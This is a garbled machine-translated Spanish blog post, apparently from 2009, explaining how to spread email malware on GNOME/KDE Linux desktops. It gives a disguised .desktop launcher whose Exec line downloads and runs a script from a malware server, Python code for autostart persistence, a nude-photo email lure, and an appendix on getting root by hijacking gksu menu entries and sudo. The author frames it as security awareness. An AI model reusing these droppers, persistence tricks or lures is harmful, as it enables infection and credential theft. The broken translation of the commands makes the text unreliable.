Nota: He publicado un seguimiento de resumir los puntos y los comentarios que he recibido
como parte de la respuesta abrumadora a este artÃculo. Por favor, lea este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que se podrÃa querer decir
tal vez ya se han abordado.
como parte de la respuesta abrumadora a este artÃculo. Por favor, lea este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que se podrÃa querer decir
tal vez ya se han abordado.
Para el quid de la cuestión ...
... simplemente desplácese hacia abajo para la guÃa compacta paso a paso . Pero si quieres conseguir algunos de los antecedentes y explicaciones relacionadas a continuación, sólo sigue leyendo.
El rumor de la arquitectura de Linux a prueba de balas
No es este rumor de que Linux está libre de virus. Se dice que el patrimonio multiusuario antigua de Linux (y otros sistemas operativos * nix) previene malware, ya que los usuarios normalmente no se ejecutan sus programas en modo administrador (como usuario root). Se nos recuerda que se necesitan ejecutar bits para ejecutar cualquier cosa - contrariamente a Windows - y que ejecutarán los bits no se fijan en los datos adjuntos o los archivos guardados desde mensajes de correo electrónico o desde un navegador web.
Por lo tanto, se nos dice, la propia arquitectura de Linux es mucho más superior a Windows que no es sólo posible para difundir con éxito malware. Por supuesto - se reconoce - un error de bajo nivel, un desbordamiento de búfer u otra cuestión es explotable. Pero, sin embargo, los usuarios pueden no sólo coger un virus por e-mail o malware descargar desde Internet, en contra de "los usuarios de Windows". Linux les protegerá de su propia estupidez.
Al menos eso dice la historia. Pero, lamentablemente, eso no es cierto. Voy a mostrar cómo es posible que en unos pocos pasos para escribir un virus transmitido por email perfectamente válido para los modernos escritorio Linux. No voy a hacerlo porque quiero poner Linux. Todo lo contrario: me gusta y apoyo a Linux, que es todo lo que estoy corriendo en casa y en el trabajo. Soy un gran defensor del software libre y de código abierto como lectores de este blog sabrán. Pero si hay algún riesgo de seguridad, incluso en mi sistema operativo o distribución favorita, entonces tendrá que ser discutido. Aún más importante: una falsa sensación de seguridad es peor que la falta de seguridad. Y afirmaciones sin fundamento de la superioridad no ayudan en una discusión razonable tampoco.
Algunas notas antes de empezar
Actualización: Se ha producido una gran cantidad de información acerca de mà con el "virus" del término no está correctamente aquÃ. Que debo hablar de un 'caballo de Troya' en su lugar. Hay un cierto desacuerdo sobre si un virus requiere la interacción del usuario o no, y si podrÃamos estar hablando de un gusano, si estamos hablando de malware que puede propagarse sin la interacción del usuario. También hay cierto desacuerdo de si un malware que se propaga a través de correo electrónico puede ser considerado como un virus o no. Hay muchas fuentes que llamar a esa cosa que un virus (un "virus de correo electrónico") y otros que podrÃan ser más exigente en su definición. Deje que este artÃculo no sea de ese debate. Voy a llamar a este malware aquà un 'virus', a pesar de que requiere la interacción del usuario y aunque no proporcionan el código real de la manera de propagarse (ese código sólo se proporciona como de muy alto nivel pseudo-código).
Debo señalar: Las vulnerabilidades que se aprovechará de son "caracterÃsticas" de los entornos de escritorio Linux modernos más populares, Gnome y KDE. El núcleo actual de Linux en sà mismo no tiene ninguna de estas vulnerabilidades. A Linux (o cualquier otro * nix) sistema sin correr Gnome o KDE no se exhibirán algunos de estos problemas, que es una de las grandes ventajas de separar adecuadamente el sistema operativo principal de otras aplicaciones, como el entorno de escritorio.
Por otro lado, si ejecuta los entornos de escritorio en otro sistema operativo (tal vez en FreeBSD, por ejemplo), entonces usted probablemente tendrá que lidiar con las mismas vulnerabilidades. Un tÃtulo más apropiado para este correo electrónico por lo tanto, podrÃa haber sido: ¿Cómo escribir un virus Gnome / KDE en 5 sencillos pasos . Pero como Gnome y KDE se utilizan principalmente en Linux, creo que un virus basado en las vulnerabilidades podrÃa impactar los usuarios de Linux más.Por lo tanto, el tÃtulo elegido es válida.
El texto de este artÃculo aquà le explicará lo que hay que tener para infectar a una computadora de escritorio y cómo instalar el malware y proporcionará información de antecedentes sobre por qué esas medidas son necesarias y por qué funcionan realmente pasos. Después de la explicación ya no es un resumen más compacto paso a paso hacia el final. A pesar de que hay algunos fragmentos de código, el artÃculo no se proporciona el código para una pieza prefabricada de malware.
Hace unos dÃas me envió un mensaje a los equipos de seguridad en Ubuntu y Fedora, preguntando si les gustarÃa echar un vistazo a esto antes de publicar. El equipo de Ubuntu no ha respondido todavÃa, pero el equipo de Fedora me dijo que esto es "muy conocido y el comportamiento esperado" y que no tienen ningún problema con que la publicación de esta. Bien conocido y esperado? ¿En serio? Pero bueno pues, aquà vamos.
Llegar a los usuarios abrir archivos adjuntos: Echa un vistazo a estas fotos de desnudos!
Si está a la espera de un nuevo, o algún exploit fantangled hackery inteligente extra, voy a tener que decepcionar completamente. Lo que estoy mostrando aquà no es más que un ejemplo de cómo se pueden hacer las de ingenierÃa de la vieja escuela "virus" social (que apenas merece ese nombre), que han estado molestando el mundo de Windows durante mucho tiempo para correr en Linux, o cualquier otros * nix OS con un entorno de escritorio moderno.
La premisa de este tipo de "virus" es simple: Consigue que un usuario ejecute un archivo adjunto ejecutable que ellos por correo electrónico enviado. Esto es completamente baja tecnologÃa. No hay magia negro aquÃ. No voy a tomar ventaja de una nueva hazaña de ninguna manera. Para hacer que funcione en Linux que estoy usando las "caracterÃsticas" de los entornos de escritorio modernos de manera un tanto involuntarias, supongo. Después de todo, todo está "bien conocido y esperado".
Hacer esto en Windows es muy sencillo. Tú creas tu software malicioso como un archivo EXE, adjuntarlo a un correo electrónico que dice algo asà como: "Oye, echa un vistazo a estas fotos de desnudos de ....". El usuario desafortunado doble clic en el archivo adjunto, el que Windows - en ausencia de algún tipo de software anti-virus decente - obedientemente ejecutar. Antes de que te des cuenta que el malware es instalado y el sistema es propiedad. La ejecución de los archivos. EXE desde clientes de correo electrónico en Windows es, por supuesto, también "conocido y esperado".
¿Crees que esto no es posible bajo Linux? Por supuesto que lo es. Sólo requiere uno o dos pasos más. Sin embargo, no hay nada fundamental acerca de la arquitectura de Linux que impide la estupidez de usuario o la ignorancia, que es, por supuesto, el ingrediente principal de cualquier vector de ataque como este.
Sólo hay un pequeño obstáculo que hay que superar. Bueno, dos, en realidad.
En primer lugar, la mayorÃa de los clientes de correo electrónico para Linux no ejecutar archivos adjuntos. PodrÃan tratar de abrirlos si conocen la extensión como una indicación de un documento o tipo de soporte (. Pdf u otros documentos, por ejemplo). Pero eso es todo. Asà que, digamos que usted haya escrito su software malicioso como un script de Python bonita. En ese caso, la secuencia de comandos puede tener la extensión. Py final, pero el cliente de correo electrónico sigue siendo poco probable que invocar el intérprete de Python para usted. Usted tendrÃa que salir de su manera de configurar el sistema para hacerlo, y que harÃa algo como esto?
No, necesitamos un enfoque ligeramente diferente. Algo que siempre se ha de ejecutar cuando se hace clic sobre. Y aquÃ, entonces, es un paso más que debe ser realizada por el usuario, lo que podrÃa reducir la tasa de éxito de este tipo de ataque un poco. El usuario tiene que guardar primero el archivo adjunto y haga doble clic en él. Porque si bien el cliente de correo electrónico por lo general no se puede ejecutar un archivo ejecutable, el entorno de escritorio puede muy bien como vamos a ver. Por lo tanto, el mensaje tendrá que ser algo asÃ:
Whoa, echa un vistazo a estas fotos de desnudos de ...!(Si el archivo adjunto no quiere abrir simplemente guardarlo en el escritorio y abrirlo ...)
Eso suena sospechoso para la mayorÃa de nosotros, pero "la mayorÃa" no es "todo" la estupidez y el usuario está en todas partes. Además, muchos usuarios de clientes de correo electrónico basados en la web se utilizan para guardar el primer rutina de todos modos.
No hay que subestimar la ignorancia del usuario - incluso en Linux
Usted podrÃa argumentar que los usuarios de Linux tienden a ser un poco más conscientes de lo que están haciendo. Por lo general, tenÃan que tomar una decisión consciente sobre su sistema operativo y por lo tanto tienden a no ser que su usuario no técnico tÃpica. Pero eso está cambiando! Algunos netbooks se entregan con Linux por defecto. En ese caso, los usuarios no pueden haber elegido conscientemente Linux y por lo tanto pueden ser tan dichosamente ignorante como los usuarios de Windows que hacen clic en los archivos adjuntos de correo electrónico.Además, algunas de las grandes organizaciones están pensando en masa Linux desktop roll-outs.Varias ciudades y gobiernos de todo el mundo, por ejemplo. Los usuarios que no son técnicos bien y son tan propensos a hacer clic en los archivos adjuntos.
Por otra parte, los problemas para tiempos libres del pasado han dado a los usuarios de Linux otra falsa sensación de seguridad. Estamos tan acostumbrados a la mantra constante de "Linux es tan seguro, usted ni siquiera necesita un software anti-virus!" que es probable que realmente no tenemos ningún software anti-virus para atraparnos cuando estamos a punto de hacer algo tonto.
Ok, de vuelta a los aspectos técnicos. La mayorÃa de clientes de correo electrónico Guardar datos adjuntos en el escritorio del usuario o en el directorio de descarga del usuario, donde el usuario se van a ir a buscar a él. Por lo tanto, si el usuario no examina incesantemente el archivo adjunto, sino que simplemente hace clic en el botón "Guardar" en el cliente de correo electrónico a continuación, que por lo general hace el truco: La unión será allà mismo, en la cara del usuario. De hecho, me di cuenta de que, por alguna razón, mi cliente de correo electrónico Evolution veces tiene problemas al abrir incluso los documentos normales como archivos adjuntos directamente. Por ejemplo, alguien me envÃa un archivo. Odt pero Evolución veces no se inicia OpenOffice para mÃ.AsÃ, cada vez que esto no funciona, acabo de guardar y abrir entonces. Yo ya estoy entrenado para hacer este tipo de cosas! Probablemente no soy el único.
Obtención de archivos adjuntos para ejecutar
Hemos dicho anteriormente que los archivos adjuntos no se ejecutan normalmente cuando se almacenan como archivos. No hay ninguna extensión de archivo estándar que indica que un archivo debe ser ejecutado cuando se hace clic, ya que hay bajo Windows. En su lugar - y este es el segundo gran obstáculo que tenemos que superar - para que el archivo sea ejecutable bajo Linux (o cualquier otro sistema operativo * nix), el indicador de ejecución se tiene que establecer en los permisos del archivo. Esto es algo que Windows no tiene, y que a menudo es visto como una de las razones por las que infectar una PC Windows puede ser tan fácil, y por qué debe ser casi imposible en sistemas * nix. Al guardar un archivo adjunto de correo electrónico en Linux, ejecute la bandera normalmente no se encuentra y por lo tanto, el archivo no se puede ejecutar con sólo hacer clic en él. Por lo tanto, no ha habido suerte?
No tan rápido. Entornos de escritorio modernos, como Gnome y KDE, convenientemente ofrecen una buena "solución" llamados "lanzadores". Esos son pequeños archivos que describen cómo se debe iniciar algo. A sólo unas pocas lÃneas que especifican el nombre, el icono que debe mostrarse y la orden real de ejecutar. Convenientemente, la sintaxis de los archivos de lanzadores es el mismo para Gnome y KDE. Y los lanzadores no tienen que tener permisos de ejecución establecidos en ellos! Los entornos de escritorio tratan los archivos como un caso especial, por lo que al hacer clic sobre ellos Gnome o KDE estará feliz de ejecutar la orden que se ha especificado en la descripción del lanzador y sin la necesidad de que el bit de ejecución que se establezcan en el propio lanzador. Ahora estamos llegando a alguna parte!
Un problema al que nos enfrentamos ahora es que el comando que puede ser ejecutado por un lanzador en realidad es sólo una lÃnea y un solo mando. Es un poco difÃcil de instalar malware con un solo comando. O lo es? ¿Qué tal esta aquÃ:
% Bash-c "rizo http://www.some_malware_server.org/s.py-o / tmp / s.py; python / tmp / s.py"
¿Qué hace esto solo comando? Empieza fiesta , una consola de comandos (parte de cualquier instalación por defecto), y pasa un argumento de cadena con dos comandos simples a ella, que bash luego ejecutar. El primer comando ( rizo ) descarga un script desde algún servidor de malware que tiene que configurar y luego almacena la secuencia de comandos en un lugar donde sabemos que podemos escribir (el / tmp directory). Tenga en cuenta que en algunos sistemas (Ubuntu, por ejemplo) que no tiene rizos, pero un comando similar llamado wget . Eso complica la lÃnea de comandos real aquà un poco, pero no es un problema insuperable, como se indica en la guÃa paso a paso más abajo. El segundo comando (la llamada al intérprete de Python) y luego ejecuta el script recién bajado (un script de Python en este ejemplo). Tanto Python y rizo (o wget) suelen ser parte de la instalación por defecto de la mayorÃa de distribuciones de Linux.
Si ponemos esto en el Exec lÃnea de la definición lanzador luego un simple clic en el lanzador que dará lugar a la ejecución de un solo comando, que a su vez ejecuta dos comandos, que a su vez conducen a la descarga y ejecución de una escritura compleja arbitraria. Todo sin el bit de ejecución está establecido en cualquier lugar.
No es necesario ser root para 0wn alguien
Nada de eso privilegios de root hasta ahora necesarios. Y el guión ahora puede hacer lo que quiere hacer dentro de los confines de la cuenta de usuario. Confinados que sea, pero eso no impide la posibilidad de un daño importante por hacer.
Por ejemplo, se puede empezar a robar a través de la libreta de direcciones del usuario para recolectar direcciones de correo electrónico, enviarlos a nuestro servidor de malware, empezar a enviar correo electrónico no deseado o puede propagarse por correo electrónico. Se puede instalar una extensión para Firefox que captura contraseñas como los haya tecleado el usuario. Puede empezar a compartir el escritorio del usuario a través de VNC sin el conocimiento del usuario. Se puede iniciar un demonio en el fondo que aparece anuncios. Linux adware!
Todo esto se ejecuta como un proceso de usuario normal. En verdad, en un sistema de escritorio que normalmente sólo se utiliza por un solo usuario propietario de la cuenta de usuario es más o menos equivalente a ser propietario de la raÃz, por lo que se refiere a hacer daño: Toda la acción que usted está interesado en se realiza en la cuenta de usuario de todos modos.
Pero tal vez usted realmente quiere tener raÃz para su software malicioso? Bueno, hay una manera de hacer eso también, pero no se garantiza que funcione en todos los casos y no es francamente necesaria para infectar con éxito una máquina. Asà que, para no distraer la atención de los puntos importantes de este artÃculo aquÃ, tengo una discusión de que, en un apéndice.
Inicio automático al iniciar el sistema
Pero, sin duda, incluso si el usuario no es capaz de encontrar el proceso en ejecución y matar entonces un simple reinicio se detendrá ese derecho sin sentido? Sin duda, se necesitan privilegios de root para poder abrirnos el malware que se lanzará de forma automática en caso de un reinicio del sistema, ¿no?
No es asÃ. Los usuarios no necesitan privilegios de root para configurar ciertas aplicaciones de ejecución automática cuando inician sesión en sus propias sesiones de usuario. Esto se debe a que sólo están haciendo cambios en su propia sesión y cuentas de usuario, no la configuración del sistema subyacente. Una vez más, las aplicaciones iniciadas en el marco de la sesión de usuario sólo se ejecutan a nivel de privilegios del usuario, pero como hemos visto, esto no es un problema importante. Un montón de cosas interesantes que se pueden hacer incluso entonces.
Entonces, ¿cómo hacemos para nosotros mismos a ser auto comenzó cuando el usuario inicia sesión? Hay una serie de scripts que se ejecutan al iniciar una concha, pero el usuario que es probable que haga clic en un archivo adjunto sospechoso no es probable que inicie un shell muy a menudo en todo caso. Afortunadamente, los entornos de escritorio modernos tienen su propio conjunto de comandos que se inicio automático al iniciar sesión. En el caso de Gnome, eche un vistazo a lo que se encuentra en ~ / .config / autostart (este directorio no existe, sin embargo, si no se ha configurado ninguna aplicación de arranque automático). ¡Eso es! Más lanzadores! Estos se ejecutan cada vez que el usuario inicia sesión en Gnome. Para KDE es aún más simple: sólo enlace a su ejecutable desde el inicio automático ~ / .kde / directorio.
Nuestro software malicioso entonces sólo tiene que crear una entrada apropiada en esos directorios y comenzará a correr cada vez que el usuario inicia sesión!
Y eso es todo lo que hay que hacer. Dejo la escritura del guión real de malware como un ejercicio para el lector.
Ok, asà que aquà está el resumen, que también se llena en unos pocos detalles más especÃficos:
- Escribe una pieza de malware de tu elección. Tal vez como un script de Python? Buen uso del lenguaje, un código eficiente, pre-instalado en la mayorÃa de distribuciones de Linux y el poderoso apoyo de la biblioteca estándar (por ejemplo, las bibliotecas para el envÃo de peticiones HTTP y gastos de envÃo SMTP son parte de la mayorÃa de instalaciones estándar). Ponga que el malware en algún servidor Web.
- El malware se necesita la capacidad de instalar un lanzador por sà mismo para que se inicie cada vez que el usuario inicie sesión Como se ha mencionado, para Gnome que significa la creación de una descripción lanzador en el ~ / .config / autostart carpeta. Para KDE acaba de ligarse a su ejecutable desde el inicio automático ~ / .kde / directorio. Para hacer que el código malicioso puede o simplemente forzar el asunto y copiar un lanzador o un enlace a sà mismo en ambos lugares (creación de los directorios en el camino si no existen) o puede ser un poco más inteligente y elegir lo correcto hacer basado en el entorno de escritorio que detecta. Por ejemplo, para crear el acceso directo de KDE, todo lo que necesita para escribir en Python es: import os uname = os.getlogin () drop_dir = "/ home /% s / .kde / "uname%) Autostart os.makedirs (drop_dir) os.symlink ("/ home /% s / .local / .hidden / s.py"% uname, drop_dir + "/ s.py") para GNOME del script Python en lugar necesita para escribir un lanzador en el directorio adecuado: import os relauncher_str = "" " [Desktop Entry] Tipo = Aplicación Name = malware Exec = python .local / .hidden / s.py Icon = sistema de gestión "" " uname = os. getlogin () drop_dir = "/ home /% s / .config / autostart"% uname os.makedirs (drop_dir) f = open (drop_dir + "/ Malware.desktop", "w") f.write (relauncher_str) f.close () Redacción estas entradas de auto inicio es probablemente uno de la primera acción que el malware se debe realizar.
- Ahora cree un archivo de lanzador en el escritorio para el instalador del malware, que es diferente que el lanzador se utiliza para reiniciar el malware después de un reinicio. El lanzador en el escritorio para el instalador es lo que enviamos como archivo adjunto en el correo electrónico para el usuario de destino. Es lo que el usuario hace clic en una vez que guardó. Pruebe algo como esto: [Desktop Entry] Tipo = Aplicación Name = some_text.odt Exec = URL bash-c '= http://www.my_malware_server.com/s.py; DROP = ~ / .local / .hidden; mkdir -p $ DROP; if [-e / usr / bin / wget]; entonces wget $ URL-O $ DROP / s.py; otro rizo $ URL-o $ DROP / s.py; fi; python $ DROP / s . py ' Icon = / usr/share/icons/hicolor/48x48/apps/ooo-writer.png Tenga en cuenta que hemos especificado un nombre que es inofensivo mirar e incluso elegir un icono que lo hace ver como un documento normal (en particular icono está presente tanto en el sistema Kubuntu (KDE) Ubuntu (Gnome) y, aunque no molesto en Fedora). Si usted reclama para enviar fotos de desnudos en el correo electrónico, sólo le dan un nombre que hace que suene como una imagen (algo con. Jpg al final) y eligió uno de los iconos de la imagen estándar apropiadas. La Exec lÃnea un poco más de tiempo es ahora , ya que hay que tener en cuenta la posibilidad de que sea instalado wget o curl. Por ejemplo, los sistemas de Ubuntu suelen tener wget, mientras que Fedora viene con rizo. AsÃ, se pasa los comandos adecuados para golpear con el fin de comprobar cuál es el presente y luego llamar el comando correcto para descargar el malware. No soy un experto en bash, por lo que podrÃa ser una forma mucho más eficiente de hacer esto. Pero usted consigue la idea. Asimismo, en esa lÃnea estamos creando una buena ubicación para el script ($ DROP), que no es inmediatamente evidente. El mkdir comando con el -p opción creará silencio lo directorios padre son necesarios. El directorio de destino se encuentra en el domicilio del usuario, escondido en algún directorio local de aspecto inocente y sólo se puede ver cuando también mostrar archivos ocultos. El / tmp directorio por supuesto que no es un buen lugar para nuestra malware, ya que se limpia con cada reinicio. Guarde este archivo lanzador con el nombre que ha especificado con el nombre de lÃnea, además de añadir ' . desktop "al final del archivo actual nombre. AsÃ, en nuestro caso, se guarde el archivo como 'some_text.odt.desktop . Al colocar esto en tu escritorio verás que Gnome o KDE lo tratarán de manera especial, que no muestre el ' . escritorio extensión '. Por lo tanto, el archivo sólo aparece como ' some_text.odt '. Por supuesto, esto también significa que el accesorio electrónico tendrá esta ampliación también. Algunos usuarios pueden notar, muchos otros no lo harán.
- Coloque este archivo a un correo electrónico, que solicita al destinatario que guarde y abrir el archivo adjunto. Como se ha explicado, una vez que se ha guardado sólo aparecerá como "some_text.odt 'en el escritorio del usuario. Y con el icono que hemos elegido en la descripción del programa de lanzamiento se verá bastante inofensivo.
- Enviar este correo a tantas direcciones de correo electrónico que usted puede conseguir un asimiento de.
Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que guarda y abre el archivo adjunto que haya enviado ellos recibirán también infectados con el guión de malware de su elección, que luego se reinicia también cada vez que el usuario inicie sesión de nuevo.
Eso fue fácil, ¿verdad?
Soluciones para el problema
La solución más sencilla para evitar este tipo de problemas es que no se limite a ciegas haga clic en los archivos adjuntos que los han enviado. ¿Suena como una frase que siempre he escuchado en el contexto de Windows antes? Ya lo creo. El punto es: Incluso en Linux este consejo debe ser tomado en serio.
Un paso que podrÃa ser tomado por los desarrolladores de Gnome y KDE: Exigir a los lanzadores han permisos de ejecución. Un mensaje que salva no tendrá esos. Por lo tanto, a pesar de que un lanzador sintácticamente correcta y apropiadamente llamado fue lanzada sobre el escritorio de un usuario puede no sólo hacer clic en él y ponerlo en marcha si el bit de ejecución no está definido.
En tercer lugar, dejar de perpetuar el mito de que el malware y los virus son un problema sólo para Windows. Linux es - en principio - vulnerables también, por supuesto. A pesar de que los usuarios no operan con privilegios de root, si inadvertidamente ejecutar un poco de malware entonces un montón de daño y la instalación de arranque automático todavÃa se puede hacer. El simple hecho de que un archivo adjunto ejecutado no se ejecutará como root no es una protección útil contra casi nada, como hemos visto. El hecho de que los archivos adjuntos no se guardan con el bit de ejecución no es una protección suficiente bien, ya que los entornos de escritorio modernos le permiten maniobrar cuidadosamente alrededor de eso.
En este momento la cuota de mercado limitada de Linux en el escritorio ofrece cierta protección. La mejor arquitectura global de seguridad ofrece un poco más de protección. Pero nada de eso es a prueba de tontos. Y con grandes despliegues de Linux en lugares interesantes - tales como organizaciones gubernamentales - las instalaciones también se convierten en objetivos interesantes para los creadores de malware.
Thunar?
Curiosamente, el gestor de archivos Thunar bajo Xfce (Xubuntu 8.10) está haciendo algo que Gnome y de los administradores de archivos de KDE no están haciendo: Se marcará el archivo lanzador en el escritorio como malware potencial y por lo tanto evitar la ejecución a través de un simple click. Esto funciona si el archivo adjunto se guardó desde Thunderbird o desde un sistema de correo electrónico basado en la web, como Yahoo Mail. ¿Alguien sabe lo que Thunar hace especÃficamente para llegar a la conclusión de "malware"?
Sin embargo, he confirmado que funciona con agua fresca, las acciones de Ubuntu 8.10, Kubuntu 8.10 y Fedora 10 instalaciones. Dado que esto se basa principalmente en la funcionalidad de Gnome y KDE, supongo que la mayorÃa de las distribuciones que utilizan los ordenadores de sobremesa son vulnerables también.
Bootnote
Hace algún tiempo habÃa un desafÃo emitido a escribir un virus que serÃa capaz de infectar un sistema Linux de escritorio. El desafÃo original contenÃa dos salvedades importantes, sin embargo: En primer lugar, debe ser capaz de infectar la máquina de la persona que escribió el desafÃo. No se sabe nada más sobre esa máquina. Por ejemplo, no sabemos qué escritorio se estaba quedando.En segundo lugar, el virus debe ser capaz de escribir un archivo en el directorio / etc directorio, a la que normalmente sólo root tiene acceso.
Me gustarÃa contenido que un virus de Linux puede ser llamado éxito si es capaz de infectar instalaciones estándar de algunos de los más populares distribuciones. Sé que el enfoque que estoy sugiriendo será capaz de infectar a una instalación estándar de Ubuntu, Kubuntu y Fedora, por ejemplo.
En segundo lugar, como se ha señalado anteriormente, obtener privilegios de root no es necesario para infectar con éxito un equipo Linux. Bueno, es más de la cuenta del usuario que está infectado, ¿no es asÃ? Sin embargo, si estamos hablando de equipos de escritorio a continuación, en su mayor parte no es sólo va a ser un solo usuario. La distinción entre la infección del sistema (como root) o la cuenta de usuario (el usuario) es totalmente académica en el mejor. Esta infección es en efecto lo mismo que decir "el equipo está infectado. Después de todo, el usuario se registra sobre todo en y el malware se ejecute cada vez que ese es el caso. De todos modos, me puse en contacto el autor de este reto y le expliqué la situación a él. Insiste en las reglas originales establecidos en su desafÃo, sin embargo. Me parece bien, es su problema y por lo tanto sus reglas.
Asà que, ¿qué pasa si usted realmente quiere root entonces?
Apéndice: Cómo root
Obtener privilegios de root siempre se considera a ser un poco de lo santo grial de comprometer la otra máquina. Como hemos visto, no tener en realidad no se le impide que tenga usted un buen tiempo con un virus, sin embargo. Pero sólo por la buena integridad, permÃtanme esbozar una manera para que su software malicioso para obtener root. Puede haber otras maneras, pero esto es lo que se me ocurrió por ahora.
Usted ve, incluso los usuarios normales de escritorio Linux de vez en cuando hacer cosas como root. En el caso de Ubuntu, por ejemplo, que va a utilizar 'sudo' (o gksu gráfica equivalente) de vez en cuando con el fin de realizar la administración del sistema. Tal vez la administración de usuarios, cambiar la fecha y la hora o para instalar software nuevo. Muchos elementos del sistema-> menú Administración le solicitará su contraseña por esa razón. Por defecto, el usuario de un sistema de escritorio Ubuntu tiende a estar en el grupo "admin", que a su vez se menciona en / etc / sudoers . Por lo tanto, al proporcionar su propia contraseña, puedes realizar tareas con privilegios de root.
Asà que, ahora, ¿cómo podemos aprovechar esto? Resulta que los elementos del menú para el escritorio Gnome se configuran de forma individual en alguna parte. Tal vez podamos cortar que para que en lugar de sináptica (el gestor de paquetes gráfico) o cualquier otra utilidad que se ejecuta bajo sudo o gksu) nuestro buen software malicioso se inicia en su lugar? Después de que el usuario haya proporcionado la contraseña para sudo? Pero como resulta que, los elementos de menú se definen en un lugar al que sólo root tiene acceso de escritura. Echa un vistazo a / usr / share / applications . De ahà que encuentre - una vez más - un gran número de archivos del Lanzador. Estos se definen las distintas opciones del menú. Por ejemplo, eche un vistazo a synaptic.desktop. Usted puede ver que la siguiente lÃnea:
Exec = gksu / usr / sbin / synaptic
SÃ, asà que si pudiéramos seguir adelante y editar eso, ¿verdad? Si el malware podrÃa ir a cambiarlo a:
Exec = gksu python .local / .hidden / s.py / usr / sbin / synaptic
Eso ejecutar nuestro software malicioso con privilegios de root. Tenga en cuenta que pasamos en silencio el nombre original del archivo ejecutable ( / usr / sbin / synaptic ) a nuestro malware, por lo que puede comenzar sináptica después de que se hace permanentemente dándose privilegios de root o hacer lo que quiere hacer como root. De esta manera el usuario no se convertirá en sospechoso.
Pero, por desgracia, no se puede editar el archivo. Fuera de suerte otra vez? Afortunadamente, no.Gnome es suficiente para ver si puede ser que tengamos una definición local de uno de los archivos de escritorio, que debe reemplazar la configuración de todo el sistema de clase. Los go en~ / .local / share / applications . AsÃ, sólo tiene que copiar el archivo synaptic.desktop de / usr / share / applications a ~ / .local / share / applications y realizar los cambios que desee en ella.Entonces sólo tiene que sentarse y esperar a que la próxima vez que el usuario inicia sináptica y que están en el negocio.
Por supuesto, usted no tiene que limitarse a sináptica. Para tener una mejor oportunidad de ser ejecutado con privilegios de root cualquiera de las aplicaciones en el menú de administración que requieren gksu son juego justo. Y, francamente, es probable que pueda hacer cambios similares e introducir gksu a muchos de los elementos del menú en Sistema -> Preferencias. Como un usuario de Ubuntu que se utilizan para dar su contraseña a gksu de vez en cuando. Si el usuario no presta atención, que ni siquiera cuenta de que no eran más que pide su contraseña de una utilidad que no pedirá la contraseña antes.
Y para aquellos usuarios que les gusta usar la shell: Bueno, en ese caso, el malware puede simplemente meterse con su definición de la trayectoria y el lugar de una versión 'sintonizado' del comando 'sudo' en su camino, que es ejecutado cada vez que se escribe 'sudo ».
Como se puede ver esto no está garantizado para darle root (si el usuario no utiliza los programas), pero hay una buena probabilidad de que usted lo consigue, finalmente, si eres paciente.
Actualización, 12 de febrero 2009: Realmente me habrÃa sorprendido si fuera la primera persona a pensar de esta vulnerabilidad. Mirando a su alrededor un poco en Internet, no pude encontrar ninguna referencia a esto, sin embargo. Bueno, el editor de LWN.net hizo un mejor trabajo. Como señala aquà , se ha debatido acerca de las vulnerabilidades introducidas por. archivos de escritorioen 2006 ya.
como parte de la respuesta abrumadora a este artÃculo. Por favor, lea este seguimiento
antes (!) publicar un comentario, ya que algunos de lo que se podrÃa querer decir
tal vez ya se han abordado.